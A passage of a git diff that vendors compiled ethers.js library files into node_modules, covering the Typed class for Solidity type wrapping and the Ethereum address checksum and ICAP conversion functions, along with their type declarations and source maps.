Typed | T, type: string): T; +} +//# sourceMappingURL=typed.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/typed.d.ts.map b/node_modules/ethers/lib.commonjs/abi/typed.d.ts.map new file mode 100644 index 000000000000..d7d2b42a08ec --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/typed.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"typed.d.ts","sourceRoot":"","sources":["../../src.ts/abi/typed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAIH,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEjE,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,4BAA4B,CAAC;AAqBzD;;GAEG;AACH,MAAM,WAAW,WAAY,SAAQ,KAAK;IACtC,KAAK,EAAE,MAAM,CAAC;IACd,YAAY,IAAI,MAAM,CAAC;IACvB,QAAQ,IAAI,MAAM,CAAC;IACnB,QAAQ,IAAI,MAAM,CAAC;CACtB;AAED;;GAEG;AACH,MAAM,WAAW,WAAY,SAAQ,KAAK;IACtC;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;OAEG;IACH,YAAY,IAAI,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,IAAI,MAAM,CAAC;IAEnB;;OAEG;IACH,QAAQ,IAAI,MAAM,CAAC;CACtB;AAED;;GAEG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AAM,GAAG,KAAK;IAG/B;;OAEG;IACH,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,GAAG,GAAG,KAAK,CAAC,EAAE,OAAO,CAAC,EAAE,IAAI,GAAG,OAAO,GAAG,KAAK;IAMpE;;OAEG;IACH,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,GAAG,GAAG,KAAK,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,GAAG,KAAK,CAAC,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,KAAK;IAMvF;;OAEG;IACH,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,KAAK;IAI/C;;OAEG;IACH,MAAM,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,KAAK;IAO1C;;;;;;OAMG;IACH,MAAM,CAAC,WAAW,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,GAAG,CAAC,EAAE,IAAI,EAAE,MAAM,GAAG,CAAC;CAS3D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/typed.js b/node_modules/ethers/lib.commonjs/abi/typed.js new file mode 100644 index 000000000000..cc757a833b1c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/typed.js @@ -0,0 +1,606 @@ +"use strict"; +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Typed = void 0; +const index_js_1 = require("../utils/index.js"); +const _gaurd = {}; +function n(value, width) { + let signed = false; + if (width < 0) { + signed = true; + width *= -1; + } + // @TODO: Check range is valid for value + return new Typed(_gaurd, `${signed ? "" : "u"}int${width}`, value, { signed, width }); +} +function b(value, size) { + // @TODO: Check range is valid for value + return new Typed(_gaurd, `bytes${(size) ? size : ""}`, value, { size }); +} +const _typedSymbol = Symbol.for("_ethers_typed"); +/** + * The **Typed** class to wrap values providing explicit type information. + */ +class Typed { + /** + * The type, as a Solidity-compatible type. + */ + type; + /** + * The actual value. + */ + value; + #options; + /** + * @_ignore: + */ + _typedSymbol; + /** + * @_ignore: + */ + constructor(gaurd, type, value, options) { + if (options == null) { + options = null; + } + (0, index_js_1.assertPrivate)(_gaurd, gaurd, "Typed"); + (0, index_js_1.defineProperties)(this, { _typedSymbol, type, value }); + this.#options = options; + // Check the value is valid + this.format(); + } + /** + * Format the type as a Human-Readable type. + */ + format() { + if (this.type === "array") { + throw new Error(""); + } + else if (this.type === "dynamicArray") { + throw new Error(""); + } + else if (this.type === "tuple") { + return `tuple(${this.value.map((v) => v.format()).join(",")})`; + } + return this.type; + } + /** + * The default value returned by this type. + */ + defaultValue() { + return 0; + } + /** + * The minimum value for numeric types. + */ + minValue() { + return 0; + } + /** + * The maximum value for numeric types. + */ + maxValue() { + return 0; + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt() { + return !!(this.type.match(/^u?int[0-9]+$/)); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData() { + return this.type.startsWith("bytes"); + } + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString() { + return (this.type === "string"); + } + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName() { + if (this.type !== "tuple") { + throw TypeError("not a tuple"); + } + return this.#options; + } + // Returns the length of this type as an array + // - `null` indicates the length is unforced, it could be dynamic + // - `-1` indicates the length is dynamic + // - any other value indicates it is a static array and is its length + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength() { + if (this.type !== "array") { + throw TypeError("not an array"); + } + if (this.#options === true) { + return -1; + } + if (this.#options === false) { + return (this.value).length; + } + return null; + } + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type, value) { + return new Typed(_gaurd, type, value); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v) { return n(v, 8); } + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v) { return n(v, 16); } + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v) { return n(v, 24); } + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v) { return n(v, 32); } + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v) { return n(v, 40); } + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v) { return n(v, 48); } + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v) { return n(v, 56); } + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v) { return n(v, 64); } + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v) { return n(v, 72); } + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v) { return n(v, 80); } + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v) { return n(v, 88); } + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v) { return n(v, 96); } + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v) { return n(v, 104); } + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v) { return n(v, 112); } + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v) { return n(v, 120); } + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v) { return n(v, 128); } + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v) { return n(v, 136); } + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v) { return n(v, 144); } + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v) { return n(v, 152); } + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v) { return n(v, 160); } + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v) { return n(v, 168); } + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v) { return n(v, 176); } + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v) { return n(v, 184); } + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v) { return n(v, 192); } + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v) { return n(v, 200); } + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v) { return n(v, 208); } + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v) { return n(v, 216); } + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v) { return n(v, 224); } + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v) { return n(v, 232); } + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v) { return n(v, 240); } + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v) { return n(v, 248); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v) { return n(v, 256); } + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v) { return n(v, 256); } + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v) { return n(v, -8); } + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v) { return n(v, -16); } + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v) { return n(v, -24); } + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v) { return n(v, -32); } + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v) { return n(v, -40); } + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v) { return n(v, -48); } + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v) { return n(v, -56); } + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v) { return n(v, -64); } + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v) { return n(v, -72); } + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v) { return n(v, -80); } + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v) { return n(v, -88); } + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v) { return n(v, -96); } + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v) { return n(v, -104); } + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v) { return n(v, -112); } + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v) { return n(v, -120); } + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v) { return n(v, -128); } + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v) { return n(v, -136); } + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v) { return n(v, -144); } + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v) { return n(v, -152); } + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v) { return n(v, -160); } + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v) { return n(v, -168); } + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v) { return n(v, -176); } + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v) { return n(v, -184); } + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v) { return n(v, -192); } + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v) { return n(v, -200); } + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v) { return n(v, -208); } + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v) { return n(v, -216); } + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v) { return n(v, -224); } + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v) { return n(v, -232); } + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v) { return n(v, -240); } + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v) { return n(v, -248); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v) { return n(v, -256); } + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v) { return n(v, -256); } + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v) { return b(v, 1); } + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v) { return b(v, 2); } + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v) { return b(v, 3); } + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v) { return b(v, 4); } + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v) { return b(v, 5); } + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v) { return b(v, 6); } + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v) { return b(v, 7); } + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v) { return b(v, 8); } + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v) { return b(v, 9); } + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v) { return b(v, 10); } + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v) { return b(v, 11); } + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v) { return b(v, 12); } + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v) { return b(v, 13); } + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v) { return b(v, 14); } + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v) { return b(v, 15); } + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v) { return b(v, 16); } + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v) { return b(v, 17); } + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v) { return b(v, 18); } + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v) { return b(v, 19); } + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v) { return b(v, 20); } + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v) { return b(v, 21); } + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v) { return b(v, 22); } + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v) { return b(v, 23); } + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v) { return b(v, 24); } + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v) { return b(v, 25); } + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v) { return b(v, 26); } + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v) { return b(v, 27); } + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v) { return b(v, 28); } + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v) { return b(v, 29); } + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v) { return b(v, 30); } + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v) { return b(v, 31); } + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v) { return b(v, 32); } + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v) { return new Typed(_gaurd, "address", v); } + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v) { return new Typed(_gaurd, "bool", !!v); } + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v) { return new Typed(_gaurd, "bytes", v); } + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v) { return new Typed(_gaurd, "string", v); } + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v, dynamic) { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "array", v, dynamic); + } + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v, name) { + throw new Error("not implemented yet"); + return new Typed(_gaurd, "tuple", v, name); + } + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v) { + return new Typed(_gaurd, "overrides", Object.assign({}, v)); + } + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value) { + return (value + && typeof (value) === "object" + && "_typedSymbol" in value + && value._typedSymbol === _typedSymbol); + } + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value, type) { + if (Typed.isTyped(value)) { + if (value.type !== type) { + throw new Error(`invalid type: expecetd ${type}, got ${value.type}`); + } + return value.value; + } + return value; + } +} +exports.Typed = Typed; +//# sourceMappingURL=typed.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/abi/typed.js.map b/node_modules/ethers/lib.commonjs/abi/typed.js.map new file mode 100644 index 000000000000..357a6dae9b62 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/abi/typed.js.map @@ -0,0 +1 @@ +{"version":3,"file":"typed.js","sourceRoot":"","sources":["../../src.ts/abi/typed.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;GAaG;;;AAEH,gDAAoE;AAOpE,MAAM,MAAM,GAAG,EAAG,CAAC;AAEnB,SAAS,CAAC,CAAC,KAAmB,EAAE,KAAa;IACzC,IAAI,MAAM,GAAG,KAAK,CAAC;IACnB,IAAI,KAAK,GAAG,CAAC,EAAE;QACX,MAAM,GAAG,IAAI,CAAC;QACd,KAAK,IAAI,CAAC,CAAC,CAAC;KACf;IAED,wCAAwC;IACxC,OAAO,IAAI,KAAK,CAAC,MAAM,EAAE,GAAI,MAAM,CAAC,CAAC,CAAC,EAAE,CAAA,CAAC,CAAC,GAAI,MAAO,KAAM,EAAE,EAAE,KAAK,EAAE,EAAE,MAAM,EAAE,KAAK,EAAE,CAAC,CAAC;AAC7F,CAAC;AAED,SAAS,CAAC,CAAC,KAAgB,EAAE,IAAa;IACtC,wCAAwC;IACxC,OAAO,IAAI,KAAK,CAAC,MAAM,EAAE,QAAS,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,IAAI,CAAA,CAAC,CAAC,EAAG,EAAE,EAAE,KAAK,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC;AAC7E,CAAC;AAoED,MAAM,YAAY,GAAG,MAAM,CAAC,GAAG,CAAC,eAAe,CAAC,CAAC;AAEjD;;GAEG;AACH,MAAa,KAAK;IAEd;;OAEG;IACM,IAAI,CAAU;IAEvB;;OA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MAAM,CAAC,EAAG,EAAE,CAAC,CAAC,CAAC,CAAC;IACjE,CAAC;IAED;;OAEG;IACH,MAAM,CAAC,OAAO,CAAC,KAAU;QACrB,OAAO,CAAC,KAAK;eACN,OAAM,CAAC,KAAK,CAAC,KAAK,QAAQ;eAC1B,cAAc,IAAI,KAAK;eACvB,KAAK,CAAC,YAAY,KAAK,YAAY,CAAC,CAAC;IAChD,CAAC;IAED;;;;;;OAMG;IACH,MAAM,CAAC,WAAW,CAAI,KAAgB,EAAE,IAAY;QAChD,IAAI,KAAK,CAAC,OAAO,CAAC,KAAK,CAAC,EAAE;YACtB,IAAI,KAAK,CAAC,IAAI,KAAK,IAAI,EAAE;gBACrB,MAAM,IAAI,KAAK,CAAC,0BAA2B,IAAK,SAAU,KAAK,CAAC,IAAK,EAAE,CAAC,CAAC;aAC5E;YACD,OAAO,KAAK,CAAC,KAAK,CAAC;SACtB;QACD,OAAO,KAAK,CAAC;IACjB,CAAC;CACJ;AA5qBD,sBA4qBC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/address.d.ts b/node_modules/ethers/lib.commonjs/address/address.d.ts new file mode 100644 index 000000000000..581be4fc5f26 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/address.d.ts @@ -0,0 +1,56 @@ +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +export declare function getAddress(address: string): string; +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +export declare function getIcapAddress(address: string): string; +//# sourceMappingURL=address.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/address.d.ts.map b/node_modules/ethers/lib.commonjs/address/address.d.ts.map new file mode 100644 index 000000000000..9dec188725b2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/address.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"address.d.ts","sourceRoot":"","sources":["../../src.ts/address/address.ts"],"names":[],"mappings":"AAmFA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAkCG;AACH,wBAAgB,UAAU,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CA6BlD;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,wBAAgB,cAAc,CAAC,OAAO,EAAE,MAAM,GAAG,MAAM,CAKtD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/address.js b/node_modules/ethers/lib.commonjs/address/address.js new file mode 100644 index 000000000000..991c5ddbc312 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/address.js @@ -0,0 +1,161 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.getIcapAddress = exports.getAddress = void 0; +const index_js_1 = require("../crypto/index.js"); +const index_js_2 = require("../utils/index.js"); +const BN_0 = BigInt(0); +const BN_36 = BigInt(36); +function getChecksumAddress(address) { + // if (!isHexString(address, 20)) { + // logger.throwArgumentError("invalid address", "address", address); + // } + address = address.toLowerCase(); + const chars = address.substring(2).split(""); + const expanded = new Uint8Array(40); + for (let i = 0; i < 40; i++) { + expanded[i] = chars[i].charCodeAt(0); + } + const hashed = (0, index_js_2.getBytes)((0, index_js_1.keccak256)(expanded)); + for (let i = 0; i < 40; i += 2) { + if ((hashed[i >> 1] >> 4) >= 8) { + chars[i] = chars[i].toUpperCase(); + } + if ((hashed[i >> 1] & 0x0f) >= 8) { + chars[i + 1] = chars[i + 1].toUpperCase(); + } + } + return "0x" + chars.join(""); +} +// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number +// Create lookup table +const ibanLookup = {}; +for (let i = 0; i < 10; i++) { + ibanLookup[String(i)] = String(i); +} +for (let i = 0; i < 26; i++) { + ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); +} +// How many decimal digits can we process? (for 64-bit float, this is 15) +// i.e. Math.floor(Math.log10(Number.MAX_SAFE_INTEGER)); +const safeDigits = 15; +function ibanChecksum(address) { + address = address.toUpperCase(); + address = address.substring(4) + address.substring(0, 2) + "00"; + let expanded = address.split("").map((c) => { return ibanLookup[c]; }).join(""); + // Javascript can handle integers safely up to 15 (decimal) digits + while (expanded.length >= safeDigits) { + let block = expanded.substring(0, safeDigits); + expanded = parseInt(block, 10) % 97 + expanded.substring(block.length); + } + let checksum = String(98 - (parseInt(expanded, 10) % 97)); + while (checksum.length < 2) { + checksum = "0" + checksum; + } + return checksum; +} +; +const Base36 = (function () { + ; + const result = {}; + for (let i = 0; i < 36; i++) { + const key = "0123456789abcdefghijklmnopqrstuvwxyz"[i]; + result[key] = BigInt(i); + } + return result; +})(); +function fromBase36(value) { + value = value.toLowerCase(); + let result = BN_0; + for (let i = 0; i < value.length; i++) { + result = result * BN_36 + Base36[value[i]]; + } + return result; +} +/** + * Returns a normalized and checksumed address for %%address%%. + * This accepts non-checksum addresses, checksum addresses and + * [[getIcapAddress]] formats. + * + * The checksum in Ethereum uses the capitalization (upper-case + * vs lower-case) of the characters within an address to encode + * its checksum, which offers, on average, a checksum of 15-bits. + * + * If %%address%% contains both upper-case and lower-case, it is + * assumed to already be a checksum address and its checksum is + * validated, and if the address fails its expected checksum an + * error is thrown. + * + * If you wish the checksum of %%address%% to be ignore, it should + * be converted to lower-case (i.e. ``.toLowercase()``) before + * being passed in. This should be a very rare situation though, + * that you wish to bypass the safegaurds in place to protect + * against an address that has been incorrectly copied from another + * source. + * + * @example: + * // Adds the checksum (via upper-casing specific letters) + * getAddress("0x8ba1f109551bd432803012645ac136ddd64dba72") + * //_result: + * + * // Converts ICAP address and adds checksum + * getAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if an address contains mixed case, + * // but the checksum fails + * getAddress("0x8Ba1f109551bD432803012645Ac136ddd64DBA72") + * //_error: + */ +function getAddress(address) { + (0, index_js_2.assertArgument)(typeof (address) === "string", "invalid address", "address", address); + if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) { + // Missing the 0x prefix + if (!address.startsWith("0x")) { + address = "0x" + address; + } + const result = getChecksumAddress(address); + // It is a checksummed address with a bad checksum + (0, index_js_2.assertArgument)(!address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || result === address, "bad address checksum", "address", address); + return result; + } + // Maybe ICAP? (we only support direct mode) + if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { + // It is an ICAP address with a bad checksum + (0, index_js_2.assertArgument)(address.substring(2, 4) === ibanChecksum(address), "bad icap checksum", "address", address); + let result = fromBase36(address.substring(4)).toString(16); + while (result.length < 40) { + result = "0" + result; + } + return getChecksumAddress("0x" + result); + } + (0, index_js_2.assertArgument)(false, "invalid address", "address", address); +} +exports.getAddress = getAddress; +/** + * The [ICAP Address format](link-icap) format is an early checksum + * format which attempts to be compatible with the banking + * industry [IBAN format](link-wiki-iban) for bank accounts. + * + * It is no longer common or a recommended format. + * + * @example: + * getIcapAddress("0x8ba1f109551bd432803012645ac136ddd64dba72"); + * //_result: + * + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK36"); + * //_result: + * + * // Throws an error if the ICAP checksum is wrong + * getIcapAddress("XE65GB6LDNXYOFTX0NSV3FUWKOWIXAMJK37"); + * //_error: + */ +function getIcapAddress(address) { + //let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase(); + let base36 = BigInt(getAddress(address)).toString(36).toUpperCase(); + while (base36.length < 30) { + base36 = "0" + base36; + } + return "XE" + ibanChecksum("XE00" + base36) + base36; +} +exports.getIcapAddress = getIcapAddress; +//# sourceMappingURL=address.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/address.js.map b/node_modules/ethers/lib.commonjs/address/address.js.map new file mode 100644 index 000000000000..51b8e0dc1207 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/address.js.map @@ -0,0 +1 @@ +{"version":3,"file":"address.js","sourceRoot":"","sources":["../../src.ts/address/address.ts"],"names":[],"mappings":";;;AAAA,iDAA+C;AAC/C,gDAA6D;AAG7D,MAAM,IAAI,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AACvB,MAAM,KAAK,GAAG,MAAM,CAAC,EAAE,CAAC,CAAC;AAEzB,SAAS,kBAAkB,CAAC,OAAe;IAC3C,sCAAsC;IACtC,2EAA2E;IAC3E,OAAO;IAEH,OAAO,GAAG,OAAO,CAAC,WAAW,EAAE,CAAC;IAEhC,MAAM,KAAK,GAAG,OAAO,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC;IAE7C,MAAM,QAAQ,GAAG,IAAI,UAAU,CAAC,EAAE,CAAC,CAAC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC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,IAAA,yBAAc,EAAC,OAAO,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,CAAC,KAAK,YAAY,CAAC,OAAO,CAAC,EAAE,mBAAmB,EAAE,SAAS,EAAE,OAAO,CAAC,CAAC;QAE3G,IAAI,MAAM,GAAG,UAAU,CAAC,OAAO,CAAC,SAAS,CAAC,CAAC,CAAC,CAAC,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC;QAC3D,OAAO,MAAM,CAAC,MAAM,GAAG,EAAE,EAAE;YAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;SAAE;QACrD,OAAQ,kBAAkB,CAAC,IAAI,GAAG,MAAM,CAAC,CAAC;KAC7C;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,iBAAiB,EAAE,SAAS,EAAE,OAAO,CAAC,CAAC;AACjE,CAAC;AA7BD,gCA6BC;AAED;;;;;;;;;;;;;;;;;GAiBG;AACH,SAAgB,cAAc,CAAC,OAAe;IAC1C,2EAA2E;IAC3E,IAAI,MAAM,GAAG,MAAM,CAAC,UAAU,CAAC,OAAO,CAAC,CAAC,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,WAAW,EAAE,CAAC;IACpE,OAAO,MAAM,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,GAAG,GAAG,GAAG,MAAM,CAAC;KAAE;IACrD,OAAO,IAAI,GAAG,YAAY,CAAC,MAAM,GAAG,MAAM,CAAC,GAAG,MAAM,CAAC;AACzD,CAAC;AALD,wCAKC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/address/checks.d.ts b/node_modules/ethers/lib.commonjs/address/checks.d.ts new file mode 100644 index 000000000000..24e781f880df --- /dev/null +++ b/node_modules/ethers/lib.commonjs/address/checks.d.ts @@ -0,0 